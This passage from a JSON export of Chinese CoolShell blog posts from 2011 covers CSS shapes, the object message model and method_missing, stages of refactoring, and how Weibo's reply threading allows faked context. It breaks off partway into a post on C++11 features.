[![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2394.html)[九个PHP很有用的功能](https://coolshell.cn/articles/2394.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\nThe post [PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-15 CSS图形.md",
    "content": "---\nlayout: post\ntitle: CSS图形\ndate: 2011/8/15/ 0:21:50\nupdated: 2011/8/15/ 0:21:50\nstatus: publish\npublished: true\ntype: post\n---\n\n\n下面的示例展示了使用纯CSS制作的各种图形，你可以自由地修改文中的CSS代码。这个收集的[原文在这里](http://css-tricks.com/examples/ShapesOfCSS/?=derp)。\n\n\n 经测试，IE9, Chrome, FF, Safari都可以正常显示。\n\n\n\n##### 正方形\n\n\n\n\n\n\n##### 长方形\n\n\n\n\n\n \n\n\n\n##### 圆形\n\n\n\n\n\n\n##### 椭圆形\n\n\n\n\n\n\n##### 三角形（向上）\n\n\n\n\n\n\n##### 三角形（向下）\n\n\n\n\n\n\n##### 三角形（向左）\n\n\n\n\n\n\n##### 三角形（向右）\n\n\n\n\n\n\n##### 三角形（左上）\n\n\n\n\n\n\n##### 三角形（右上）\n\n\n\n\n\n\n##### 三角形（左下）\n\n\n\n\n\n\n##### 三角形（右下）\n\n\n\n\n\n\n##### 平行四边行\n\n\n\n\n\n\n##### 梯形\n\n\n\n\n\n\n##### 六角星形\n\n\n\n\n\n\n##### 五角星形 [via Kit MacAllister](http://kitmacallister.com/2011/css-only-5-point-star/)\n\n\n\n\n\n\n##### 五边形\n\n\n\n\n\n\n##### 六边形\n\n\n\n\n\n##### 八边形\n\n\n\n\n\n\n##### 心形 [via Nicolas Gallagher](http://nicolasgallagher.com/)\n\n\n\n\n\n\n##### 无穷大 [via Nicolas Gallagher](http://nicolasgallagher.com/)\n\n\n\n\n\n\n##### 菱形\n\n\n\n\n\n\n##### 鸡蛋\n\n\n\n\n\n\n##### 吃豆人\n\n\n\n\n\n\n##### 说话泡泡\n\n\n\n\n\n\n##### 12星形 [via Alan Johnson](http://commondream.net/post/8848553728/pure-css-badges)\n\n\n\n\n\n\n##### 8星形 [via Alan Johnson](http://commondream.net/post/8848553728/pure-css-badges)\n\n\n\n\n(全文完)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/6913.html)[神奇的CSS形状](https://coolshell.cn/articles/6913.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\nThe post [CSS图形](https://coolshell.cn/articles/5164.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-15 对象的消息模型.md",
    "content": "---\nlayout: post\ntitle: 对象的消息模型\ndate: 2011/8/15/ 2:37:13\nupdated: 2011/8/15/ 2:37:13\nstatus: publish\npublished: true\ntype: post\n---\n\n**[ ———— 感谢 [Todd 同学](http://www.cnblogs.com/weidagang2046/) 投递本文，[原文链接](http://www.cnblogs.com/weidagang2046/archive/2011/08/14/2138059.html) ———— ]**\n\n\n#### **C++对象模型**\n\n\n话题从下面这段C++程序说起，你认为它可以顺利执行吗？\n\n\n\n```\n//C++\nclass A {\n    public:\n        void Hello(const std::string& name) {\n           std::cout << \"hello \" << name;\n         }\n};\nint main(int argc, char** argv)\n{\n    A* pa = NULL; //!!\n    pa->Hello(\"world\");\n    return 0;\n}\n```\n\n试试的确可以顺利运行输出hello world，奇怪吗？其实并不奇怪，根据C++对象模型，类的非虚方法并不会存在于对象内存布局中，实际上编译器是把Hello方法转化成了类似这样的全局函数：\n\n\n\n```\nvoid A_Hello_xxx(A * const this, const std::string& name) {\n    std::cout << “hello “ << name;\n}\n```\n\n对象指针其实是作为第一个参数被隐式传递的，pa->Hello(“world”)实际上是调用的A\\_Hello\\_xxx(pa, “world”)，而恰好A\\_Hello\\_xxx内部没有使用pa，所以这段代码得以顺利运行。\n\n\n#### **对象的消息模型**\n\n\n如果是研究C++对象模型，上面的讨论可以到此为止，不过这里我想从另一个层面来继续探讨这个问题。OOP的先驱人物Alan Kay在总结Smalltalk的OO特征时强调：\n\n\n\n\n> Smalltalk is not only NOT its syntax or the class library, it is not even about classes. I’m sorry that I long ago coined the term “objects” for this topic because it gets many people to focus on the lesser idea. The big idea is “messaging”.\n> \n> \n\n\n也就是说相比类和对象的概念来讲，他认为对象交互的消息模型是OOP更为本质的特征，因为消息关注的是对象间的接口和交互，在构建大的系统的时候重要的不是对象/模块的内部状态，而是它们的交互。根据消息模型，牛.吃(草) 的语义是发送一条消息给“牛”，消息的类型是“吃”，消息的内容是“草”。如果按照严格的消息模型，那么上面那段C++代码应解释为向一个NULL对象发送Hello消息，这显然是不应该顺利执行的。类似的代码如果是在Java或C#中则会抛出空引用异常，所以Java和C#的设计更符合消息模型。\n\n\n不过，Java和C#中也并非完全符合消息模型，来看一个经典的封装问题：\n\n\n\n```\n//C#\n\npublic class Account {\n    private int _amount;\n\n    public void Transfer(Account acc, int delta) {\n        acc._amount += delta;\n        this._amount -= delta;\n    }\n    …\n}\n```\n\n上面定义了一个Account类，问题在于为什么在这个类的Transfer方法中可以直接访问另一个对象acc的私有成员\\_amount呢？这是不是有破坏封装的嫌疑呢？这个问题经典的答案是：并不破坏封装，封装是划分了基于类的静态的代码边界，使得类的private代码修改不影响外界，而不是对于动态对象的保护。这个解释当然是合理的，不过正如上面C++代码的解释属于C++对象模型范畴，这个解释则属于基于类的静态类型OOP语言的范畴。消息模型强调了对象内部状态的保护，只能通过消息改变其状态，而对象内部是否真的具有\\_amout这样一个私有成员对其他任何对象（即使同类对象）都是未知的。\n\n\n如果要严格遵守消息模型实现对象内部状态的保护应该怎么做呢？我们来看一个例子，定义一个集合类，包括：1.集合对象的构造函数；2.In方法：判断元素是否存在；3.Join方法：对两个集合做交集；4.Union方法：对两个集合做并集。下面是一种Javascript实现：\n\n\n\n```\n//Javascript\n\n//集合类Set的构造函数\nfunction Set() {\n    var _elements = arguments;\n    //In方法：判断元素e是否在集合中\n    this.In = function(e) {\n        for (var i = 0; i < _elements.length; ++i) {\n            if (_elements[i] == e) return true;\n        }\n        return false;\n    };\n}\n\n//Join方法：对两个集合求交集\nSet.prototype.Join = function(s2) {\n    var s1 = this;\n    var s = new Set();\n    s.In = function(e) { return s1.In(e) && s2.In(e); }\n    return s;\n};\n\n//Union方法：对两个集合求并集\nSet.prototype.Union = function(s2) {\n    var s1 = this;\n    var s = new Set();\n    s.In = function(e) { return s1.In(e) || s2.In(e); }\n    return s;\n};\n\nvar s1 = new Set(1, 2, 3, 4, 5);\nvar s2 = new Set(2, 3, 4, 5, 6);\nvar s3 = new Set(3, 4, 5, 6, 7);\nassert(false == s1.Join(s2).Join(s3).In(2));\nassert(true == s1.Join(s2).Uion(s3).In(7));\n```\n\n如果是在静态类型OOP语言中，要实现集合类的Join或Union，我们多半会像上面Account的例子一样直接对s2内部的\\_elements进行操作，而上面这段Javascript定义的Set关于对象s2的访问完全是符合消息模型的基于接口的访问。要实现消息模型Javascript的prototype机制并非必须的，真正的关键在于函数式的高级函数和闭包特性。从这个例子我们也可以体会到函数式的优点不仅在于无副作用，函数的可组合性也是函数式编程强大的原因。\n\n\n#### **Method Missing**\n\n\n接下来我们还要进行深度历险，让我们思考一下如果发送一条对象不能识别的消息会怎样？这种情况在C++、Java、C#等静态类型语言中会得到一个方法未定义的编译错误，如果是在Javascript中则会产生运行时异常。比如，s1.count()会产生一个运行时异常：Object #<Set> has no method ‘count’。\n\n\n在静态类型语言这个问题很少受到重视，但在动态类型语言中却大有文章，来看下面的例子：  \n\n//Ruby\n\n\n\n```\n\nbuilder = Builder::XmlMarkup.new\nxml = builder.books {|b|\n    b.book :isbn => \"14134\" do\n        b.title \"Revelation Space\"\n        b.author \"Alastair Reynolds\"\n    end\n    b.book :isbn => \"53534\" do\n        b.title \"Accelerando\"\n        b.author \"Charles Stross\"\n    end\n}\n```\n\n上面这段很DSL的Ruby代码创建了这样一个XML文件对象：\n\n\n\n```\n\n\n<books>\n    <book isbn=\"14134\">\n        <title>Revelation Space</title>\n        <author>Alastair Reynolds</author>\n    </book>\n    <book isbn=\"53534\">\n        <title>Accelerando</title>\n        <author>Charles Stross</author>\n    </book>\n</books>\n\n\n```\n\nbuilder.books, b.book, b.title都是对象方法调用，由于XML的元素名是任意的，所以不可能事先定义这些方法，类似的代码如果是在Javascript中就是no method异常。那为什么上面的Ruby代码可以正确执行呢？其实只要理解了消息模型就很容易想明白，只需要定义一个通用的消息处理方法，所有未明确定义的消息都交给它来处理就行了，这就是所谓的Method Missing模式：\n\n\n\n```\n\nclass Foo\n    def method_missing(method, *args, &block)\n        …\n    end\nend\n\n```\n\nMethod Missing除了对实现DSL很重要外，还可用于产生更好地调试和错误信息，把参数嵌入到方法名中等场合。目前，Ruby、Python、Groovy几种语言对Method Missing都有很好的支持，甚至在C# 4.0中也可以利用动态特性实现。\n\n\n#### 总结\n\n\n本文主要介绍了对象的消息模型的特征，并比较了C++对象模型，Java、C#等基于类的静态类型语言中的对象模型与严格消息模型的差异，最后探讨了Method Missing相关话题。\n\n\n#### 参考\n\n\n* [Inside the C++ Object Model](http://book.douban.com/subject/1484262/)\n* [冒号课堂 – 编程范式与OOP思想](http://book.douban.com/subject/4031906/)\n* [Alan Kays Definition Of Object Oriented](http://c2.com/cgi/wiki?AlanKaysDefinitionOfObjectOriented)\n* [OOP The Good Parts: Message Passing, Duck Typing, Object Composition, and not Inheritance](http://fitzgeraldnick.com/weblog/39/)\n* [Patterns of Method Missing](http://olabini.com/blog/2010/04/patterns-of-method-missing/)\n* [Fun With Method Missing and C# 4](http://haacked.com/archive/2009/08/26/method-missing-csharp-4.aspx)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![理解Javascript的闭包](../wp-content/uploads/2012/03/closure-150x150.png)](https://coolshell.cn/articles/6731.html)[理解Javascript的闭包](https://coolshell.cn/articles/6731.html)\n* [![再谈javascript面向对象编程 ](../wp-content/uploads/2012/02/joo_1-150x150.png)](https://coolshell.cn/articles/6668.html)[再谈javascript面向对象编程](https://coolshell.cn/articles/6668.html)\nThe post [对象的消息模型](https://coolshell.cn/articles/5202.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-16 重构代码的7个阶段.md",
    "content": "---\nlayout: post\ntitle: 重构代码的7个阶段\ndate: 2011/8/16/ 0:42:35\nupdated: 2011/8/16/ 0:42:35\nstatus: publish\npublished: true\ntype: post\n---\n\n你曾去想重构一个很老的模块，但是你只看了一眼你就恶心极了。文档，奇怪的函数和类的命名，等等，整个模块就像一个带着脚镣的衣衫褴褛的人，虽然能走，但是其已经让人感到很不舒服。面对这种情况，真正的程序员会是不会认输的，他们会接受挑战认真分析，那怕重写也在所不惜。最终那个模块会被他们重构，就像以前和大家介绍过的[那些令人销魂的编程方式](https://coolshell.cn/articles/2058.html \"各种流行的编程风格\")中的屠宰式编程一样。下面是重构代码的几个阶段，文章来自：[The 7 stages of refactoring](http://norsedev.blogspot.com/2011/08/n-stages-of-refactoring.html)，下面的翻译只是意译。\n\n\n**第一阶段 – 绝望**\n\n\n在你开始去查看你想要重构的模块的，你会觉得好像很简单，这里需要改一个类，那里需要改两到三个函数，重写几个函数，看上去没什么大不了的，一两天就搞定了。于是你着手开始重构，然后当你调整重构了一些代码，比如改了一些命名，修理了一些逻辑，渐渐地，你会发现这个怪物原来体型这么大，你会看到与代码不符甚至含糊不清的注释，完全摸不着头脑的数据结构，还有一些看似不需要方法被调了几次，你还会发现无法搞清一个函数调用链上的逻辑。你感到这个事可能一周都搞不定，你开始绝望了。\n\n\n**第二阶段 – 找最简单的做**\n\n\n你承认你要重构的这个模块就是一个可怕的怪物，不是一两下就可以搞定的，于是你开始着干一些简单的事，比如重新命名一下几个函数，移除一些代码的阻碍，产生几个常量来消除magic number，等等，你知道这样做至少不会让代码变得更糟糕。\n\n\n**第三阶段 – 再次绝望**\n\n\n但是接下来的事会让你再次撞墙。你会发现那些代码的瑕疵是些不痛不痒的事，改正这些事完全于事无补，你应该要做的事就是重写所有的东西。但是你却没有时间这么干，而这些代码剪不乱理还乱，耦合得太多，让你再一次绝望。所以，你只能部分重写那些不会花太多时间的部分，这样至少可以让这些老的代码能被更多的重用。虽然不完美，但是至少可以试试。\n\n\n**第四阶段 – 开始乐观**\n\n\n在你试着部分重构这个模块几天之后，随着重构了几个单元后，虽然你发现改善代码的进度太慢了，但此时，你已知道代码应该要被改成什么样，你在痛苦之后也锁定了那些那修改的类。是的，虽然你的时间预算已经超支，虽然要干的事比较多，但你还是充满希望，觉得那是值得的。你胸中的那团火又被点燃了。\n\n\n**第五阶段  – 快速了结**\n\n\n在这个时候，你发现你已花了太多的时间，而情况越来越复杂，你感到你所面对的情况越来越让你越到不安，你明白你自己已经陷入了困境。你原本以为只需要一次简单的重构，然而现在你要面对的是重写所有的东西。你开始意识到原因是因为你是一个完美主义者，你想让代码变得完美。于是你开始在怠慢你文档，并想找到一个捷径来重写老的代码，你开始采用一些简单而粗暴，快速而有点肮脏的方法。虽然不是很完美，但你就是这样去做了。然后，你开始运行测试做UT，发现UT报告上全是红色，几乎全都失败了，你恐慌了，于是快速地fix代码，然后让UT 能工作。此时，你拍拍自己胸口，说到，没问题 ，于是就把代码提交了。\n\n\n**第六阶段 – 修改大量的Bug**\n\n\n你的重写并不完美，虽然其过了测试，但是那些UT测试对于你的新的代码有点不太合适，虽然他们都没有报错，但是他们测试得范围太小了，没有覆盖到所有的情况和边界。所以，在这以后，你还需要几周或是更长的时间不得不来修正越来越多的bug，这使得你的设计和代码在每一次quick-fix后就变得越来越难看。此时，代码已经不像你所期望的那样完美了，但你依然觉得他还是比一开始要好一些。这个阶段可能历经几个月。\n\n\n**第七阶段  – 觉悟**\n\n\n经过了6个月，你重写的模块又出了一个比较严重的bug。这让你重构的那个模块变得更难堪。你发现出的这个问题是和当初的设计不一致，你还发现被你重构掉的那段老的代码并不是当初看上去的那么坏，那段老的代码确实考虑到了一些你未曾考虑到的事情。这个时候，你团队里有人站出来说这个模块应该被重构或是重写，而你却不动声色地一言不发，并希望那个站出来的人能在几个月后能觉悟起来。\n\n\n——————\n\n\nhttp://ww2.sinaimg.cn/large/538efefbjw1dt8f6ua5rpg.gif \"代码重构\"\n\n\n不知道这是不是你的经历，我经历过很多次这样的事。对于很多维护性质的项目，我犯过的错误让我成了一个实实在在的保守派，我几乎不敢动，那怕看到代码很不合口味。当然，那些从来没有写过代码的敏捷咨询师一定会说用TDD或是UT可以让你的重构更有效也更容易，因为这样会让他们显得更我价值，但我想告诉你，这种脱离实际的说法很不负责任，这就好比说—— **我在杀猪的时候遇到了一些麻烦，因为我对猪的生理结构不清楚，或是这本来就是一头畸形的猪，导致我杀的猪很难看，而伟大的敏捷咨询师却告诉我，要用一把更快更漂亮的刀**。软件开发永远不是那么简单的事，杀猪也一样。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![一个空格引发的惨剧](../wp-content/uploads/2011/06/20110620115951113-150x150.gif)](https://coolshell.cn/articles/4875.html)[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/3005.html)[代码重构的一个示例](https://coolshell.cn/articles/3005.html)\n* [![编程时间分配图](../wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png)](https://coolshell.cn/articles/2990.html)[编程时间分配图](https://coolshell.cn/articles/2990.html)\nThe post [重构代码的7个阶段](https://coolshell.cn/articles/5201.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-17 国内微博和Twitter的最大不同.md",
    "content": "---\nlayout: post\ntitle: 国内微博和Twitter的最大不同\ndate: 2011/8/17/ 0:34:4\nupdated: 2011/8/17/ 0:34:4\nstatus: publish\npublished: true\ntype: post\n---\n\n霍炬近两个月前写过一篇《[microblogging和微博信息架构产品差距和影响](http://blog.devep.net/virushuo/2011/06/26/microblogging.html)》分析了国内微博和Twitter的差距，重点就是因为信息的平等性。我也一直在观察新浪微博，以及新浪和Twitter的一些功能上的差别。发现了一些东西，想在这里和大家分享一下。我的见解达不到像霍炬那样的层次，作为一个技术人员，我只能在产品功能上做些分析。欢迎大家指正。\n\n\n#### 现实状况\n\n\n国内的微博就是新浪，Sohu微博，腾讯微博，以及饭否。我们不难发现：\n\n\n* 搜狐的和腾讯的就是Copy新浪的。在Following和Followed上大家都有自己所谓的“创新”\n* 饭否是在Copy Twitter，这点太明显了，不过，抄在了表面，而且相当的怪。\n\n\n国内所有的这些以Twitter为蓝本干出来的这些东西，其和Twitter在核心功能上有这些差别：\n\n\n* Twitter的Retweet一点信息都加不上，国内的微博的转发需要加上自己的评论，也就形自己的信息。\n* Twitter的Reply只会有一个@原来的人，国内的Reply也很相似，只是勾上转发后就会把Reply的东西以“**//@XXX**”的方式成为自己的信息。\n* 饭否的做法比较怪，转发加原文（想做成新浪的样子），回复不加原文，只有@（Twitter）的样子，可见饭否的分裂。\n\n\n#### SNS中的上下文\n\n\n这段时间，我一直在想，新浪为什么要做成这样，为什么不做成Twitter那样，或者，为什么Twitter做成那样而不是新浪这样？从表面上看上去，**新浪的“回复+转发”会带被回的信息，而Twitter的回复不带上下文，Twitter上一些我fo的人的话题完全看不懂，不像新浪的还能看到上文**。\n\n\n老实说，在一开始，我还觉得新浪微博这种用法和技术上要比 Twitter 要强大，现在看来是我当时对Twitter并不熟悉。经过这段时间的观察。**我恰恰发现新浪在转发和回复上都要带上原文其实是一件很没有技术含量的事**。要说清这个事，请让我说一下评论和回复的事。\n\n\n\n* 我们网上讨论一个事的时候，你会发现，一个主题下的讨论会对回复的话题进行讨论而偏题，甚至会发散出多条讨论线各自发展。这种事会造成讨论的混乱。所以，上下文是关键。\n* BBS和Wordpress可以使用“引用”或“回复”来让你的话题有上下文。新浪的博客和新闻评论里没有，只是网易的评论可以盖楼。所以新浪微博基本上采用的就是这样的方式。\n\n\n然而，Twitter则不是，Twitter的回复系统是不会像新浪那样加上“**//@XXX**”的东西的，如果你要看信息的上下文，你需要点击信息，在右边栏会出现其上下文列表。**Twitter的这个功能可以让你很容易地找到一个信息链，而不受别的信息链的干扰，不像国内微博那样——多个信息链穿插成一锅粥让你无法阅读**（饭否是抄Twitter抄的最像的，但是其没有实现这个功能）。\n\n\n#### 上下文造假\n\n\n国内的所有微博都做不到这个事，我估计是因为技术不行。所以，为了加上上下文，他们只能做成今天你看到的这个样子。你也许会想和我争论，这样在阅读体验上更好。但是，如果你看过下面这个例子，你一定就不会这么想了。\n\n\n在新浪微博上，我们转发或是回复时，我们可以人为地加上这样的上下文（说白了，就是造假）：\n\n\n\n> //[@姚晨](http://weibo.com/yaochen)：八顿也会C语言。//[@任志强](http://weibo.com/renzhiqiang)：不是C++才牛吗？ //[@李承鹏](http://blog.sina.com.cn/lichengpeng)：代表盲肠封你为程序员的脊梁。//[@苍井空](http://weibo.com/1739928273)：还要爱吃空心菜的菜。 //[@李开复](http://weibo.com/kaifulee)：成功的程序员的标志：1）用C语言，2）不用IE6，3）无需敏捷咨询师。\n> \n> \n\n\n看到这个，你明白为什么Twitter要那样，而不是新浪这样了吧？！**这就是差距，至少是产品经理的差距**。我个人觉得还有技术上的差距。如果某人给你发来的一条手机短信你都搞不清楚是不是这个人说的，那会是多么恐怖的事。\n\n\n**有人说，在Twitter上也可以造假，但是这需要用户自己去干，Twitter的系统并不会主动干这个。 Twitter的Retweet和Reply是可以区分用户行为和系统行为（就看你加不加原信息），而新浪微博则无法区系统行为和用户行为，这就是国内微博的软肋！**\n\n\n#### 其它\n\n\n新浪的东西其实挺没创意的，[微软用新浪在当过反面教材](https://coolshell.cn/articles/3872.html \"微软用新浪来当反面教材\")，某WEB设计师也用[新浪来当过反面教材](https://coolshell.cn/articles/3605.html \"为什么中国的网页设计那么烂？\")。不过，新浪微博还是很强大的，尤其是删贴和阻止信息传播上，经过观察，的确很强大。\n\n\n我把我这篇文章里的那个欺诈示例转到了我的微博（[@左耳朵耗子](http://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90)）做了个测试。结果，在有这篇文章做提示的情况下，还是有些人相信了，还有些人骂我并把我取消关注和拉黑了。我真是服了，我故意造得这么假这么娱乐，结果还是有些人认真了。你说那些骗子看到这个情况岂不是开心之极啊。再次说明新浪微博的这种上下文的方式弊端！\n\n\n（**转载请注明作者和出处**）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![新浪微博的XSS攻击](../wp-content/uploads/2011/06/sina_xss01-150x150.png)](https://coolshell.cn/articles/4914.html)[新浪微博的XSS攻击](https://coolshell.cn/articles/4914.html)\n* [![微软用新浪来当反面教材](../wp-content/uploads/2011/03/affc-image1-150x150.png)](https://coolshell.cn/articles/3872.html)[微软用新浪来当反面教材](https://coolshell.cn/articles/3872.html)\n* [![聊聊 nostr 和 审查](../wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-150x150.png)](https://coolshell.cn/articles/22367.html)[聊聊 nostr 和 审查](https://coolshell.cn/articles/22367.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\nThe post [国内微博和Twitter的最大不同](https://coolshell.cn/articles/5247.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-19 C++11 中值得关注的几大变化（详解）.md",
    "content": "---\nlayout: post\ntitle: C++11 中值得关注的几大变化（详解）\ndate: 2011/8/19/ 0:43:59\nupdated: 2011/8/19/ 0:43:59\nstatus: publish\npublished: true\ntype: post\n---\n\n源文章来自前C++标准委员会的 [Danny Kalev](http://www.softwarequalityconnection.com/author/dannykalev/) 的 [The Biggest Changes in C++11 (and Why You Should Care)](http://www.softwarequalityconnection.com/2011/06/the-biggest-changes-in-c11-and-why-you-should-care/)，赖勇浩做了一个[中文翻译在这里](http://blog.csdn.net/lanphaday/article/details/6564162)。所以，我就不翻译了，我在这里仅对文中提到的这些变化“**追问为什么要引入这些变化**”的一个探讨，**只有知道为了什么，用在什么地方，我们才能真正学到这个知识**。而以此你可以更深入地了解这些变化。所以，本文不是翻译。因为写得有些仓促，所以难免有问题，还请大家指正。\n\n\n#### Lambda 表达式\n\n\nLambda表达式来源于函数式编程，说白就了就是在使用的地方定义函数，有的语言叫“闭包”，如果 lambda 函数没有传回值(例如 void )，其回返类型可被完全忽略。 定义在与 lambda 函数相同作用域的变量参考也可以被使用。这种的变量集合一般被称作 closure（闭包）。我在这里就不再讲这个事了。表达式的简单语法如下，\n\n\n`[capture](parameters)->return_type {body}`\n\n\n原文的作者给出了下面的例子：\n\n\n\n```\nint main()\n{\n   char s[]=\"Hello World!\";\n   int Uppercase = 0; //modified by the lambda\n   for_each(s, s+sizeof(s), [&Uppercase] (char c) {\n    if (isupper(c))\n     Uppercase++;\n    });\n cout << Uppercase << \" uppercase letters in: \" << s <<endl;\n}\n```\n\n在传统的STL中for\\_each() 这个玩意最后那个参数需要一个“函数对象”，所谓函数对象，其实是一个class，这个class重载了operator()，于是这个对象可以像函数的式样的使用。实现一个函数对象并不容易，需要使用template，比如下面这个例子就是函数对象的简单例子（实际的实现远比这个复杂）：\n\n\n\n\n```\ntemplate <class T>\nclass less\n{\npublic:\n    bool operator()(const T&l, const T&r)const\n    {\n        return l < r;\n    }\n};\n```\n\n所以，**C++引入Lambda的最主要原因就是1）可以定义匿名函数，2）编译器会把其转成函数对象**。相信你会和我一样，会疑问为什么以前STL中的ptr\\_fun()这个函数对象不能用？（ptr\\_fun()就是把一个自然函数转成函数对象的）。原因是，ptr\\_fun() 的局限是其接收的自然函数只能有1或2个参数。\n\n\n那么，除了方便外，为什么一定要使用Lambda呢？它比传统的函数或是函数对象有什么好处呢？我个人所理解的是，这种函数之年以叫“闭包”，就是因为其限制了别人的访问，更私有。也可以认为他是一次性的方法。Lambda表达式应该是简洁的，极私有的，为了更易的代码和更方便的编程。\n\n\n#### 自动类型推导 auto\n\n\n在这一节中，原文主要介绍了两个关键字 auto 和 deltype，示例如下：\n\n\n\n```\nauto x=0; //x has type int because 0 is int\nauto c='a'; //char\nauto d=0.5; //double\nauto national_debt=14400000000000LL;//long long\n```\n\nauto 最大的好处就是让代码简洁，尤其是那些模板类的声明，比如：STL中的容器的迭代子类型。\n\n\n`vector<int>::const_iterator ci = vi.begin();`\n\n\n可以变成：\n\n\n`auto ci = vi.begin();`\n\n\n模板这个特性让C++的代码变得很难读，不信你可以看看STL的源码，那是一个乱啊。使用auto必需一个初始化值，编译器可以通过这个初始化值推导出类型。因为auto是来简化模板类引入的代码难读的问题，如上面的示例，iteration这种类型就最适合用auto的，但是，我们不应该把其滥用。\n\n\n比如下面的代码的可读性就降低了。因为，我不知道ProcessData返回什么？int? bool? 还是对象？或是别的什么？这让你后面的程序不知道怎么做。\n\n\n`auto obj = ProcessData(someVariables);`\n\n\n但是下面的程序就没有问题，因为pObject的型别在后面的new中有了。\n\n\n`auto pObject = new SomeType<OtherType>::SomeOtherType();`\n\n\n#### 自动化推导 decltype\n\n\n关于 `decltype` 是一个操作符，其可以评估括号内表达式的类型，其规则如下：\n\n\n1. 